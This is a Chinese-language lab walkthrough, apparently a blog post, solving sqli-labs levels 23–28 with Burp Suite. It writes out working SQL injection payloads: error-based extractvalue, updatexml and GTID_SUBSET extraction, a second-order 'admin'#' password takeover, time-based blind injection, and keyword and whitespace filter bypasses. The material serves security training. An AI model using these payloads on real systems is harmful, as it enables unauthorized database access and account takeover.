★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
0、总体思路
先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。
为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。
特殊字符说明
+表示空格
--表示注释
1、Less-23
GET - Error based - strip comments
1.1、判断是否存在SQL注入
正常响应长度
输入带单引号’,响 应长度有变化
1.2、报错函数
在测试过程中发现union 联合查询的方式一直报错,尝试报错函数成功爆出。
报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,根据报错函数获取到数据库名,登录名。
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输出内容
XPATH syntax error: '~security~'
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
# 输出内容
XPATH syntax error: '~root@localhost~'
2、Less-24
POST-Second order lnjections Real treat - stored lnjections
二次注入,先注册一个账号带有注释功能的,然后登录,再修改密码
2.1、注册带注释功能的账号
账号:admin'#
密码:123456
2.2、用新账号登录
用新账号登录成功
2.3、修改密码
修改目标密码为123,用账号:admin,密码:123登录验证是否成功。
3、Less-25
GET - Error based - All your OR & AND belong to us -string single quote
3.1、判断是否存在SQL注入
正常响应长度
输入带单引号’,响 应长度有变化
3.2、报错函数
在测试过程中发现union 联合查询的方式没有达到预期值,尝试报错函数成功爆出。
报错函数extractvalue(),updatexml()没有达到预期值,GTID_SUBSET()成功爆出。
# 输入内容
'-GTID_SUBSET(database(),1)-'
# 输出内容
Malformed GTID set specification 'security'.
# 输入内容
'-GTID_SUBSET(user(),1)-'
# 输出内容
Malformed GTID set specification 'root@localhost'.
4、Less-25a
GET - Blind Based - All your OR & AND belong to us- lntiger based
4.1、判断是否存在SQL注入
正常响应长度
输入带单引号’,响应长度有变化
4.2、借用BP爆破数据库
过滤 or and 关键字 采用重复的方式处理
oorr --> or
anandd --> and
4.2.1、使用时间盲注验证
# 输入内容
+anandd+if(1=1,sleep(1),sleep(5))--+
4.2.2、爆破数据库长度
# 输入内容
+anandd+if(length(database())=5,1,0)--+
在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Cluster bomb,参数设置看截图说明。
4.2.3、爆破数据库名
# 输入内容
+anandd+if(substr(database(),1,1)='a',1,0)--+
爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
5、Less-26
GET - Error based - All your SPACEs and COMMENTS belong to us
参考博客:https://blog.csdn.net/m0_71299382/article/details/127944148
5.1、判断是否存在SQL注入
正常响应长度
输入带单引号’,响 应长度有变化
5.2、关联查询
回显位在第2位
# 输入内容-数据库名
0'%0bunion%0bselect%0b1,database(),3||'1'='1
# 输入内容-登录名
0'%0bunion%0bselect%0b1,user(),3||'1'='1
6、Less-27
GET - Error Based-All your UNION & SELECT Belong to us - String - single quote
参考:https://blog.csdn.net/qq_73393033/article/details/132106554
6.1、判断是否存在SQL注入
正常响应长度
输入带单引号’,响 应长度有变化
6.2、报错函数
%26是&的URL编码
# 输入内容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1
# 输出内容
XPATH syntax error: '~security~root@localhost'
# 输入内容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1
# 输出内容
XPATH syntax error: '~security~'
7、Less-28
GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis
参考:https://blog.csdn.net/m0_57736664/article/details/128553406
7.1、判断是否存在SQL注入
正常响应长度
输入带单引号’,响 应长度有变化
7.2、确定回显字段
看源码参数闭合是')
,尝试验证是不是4个字段,没有回显,修改为了3时回显了,因此可确定是3个字段
# 输入内容
')order%0Aby%0A4;%00
# 页面没有预期回显数据
# 修改为3
')order%0Aby%0A3;%00
7.3、关联查询
回显位在第2位
# 输入内容-数据库
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1
# 输入内容-登录名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1
8、下期内容预告
截止到目前SQL注入的内容已经分享了7篇,后面会有一篇关于ByPass(绕过)和总结的内容。敬请关注我的公众号:大象只为你,持续更新中…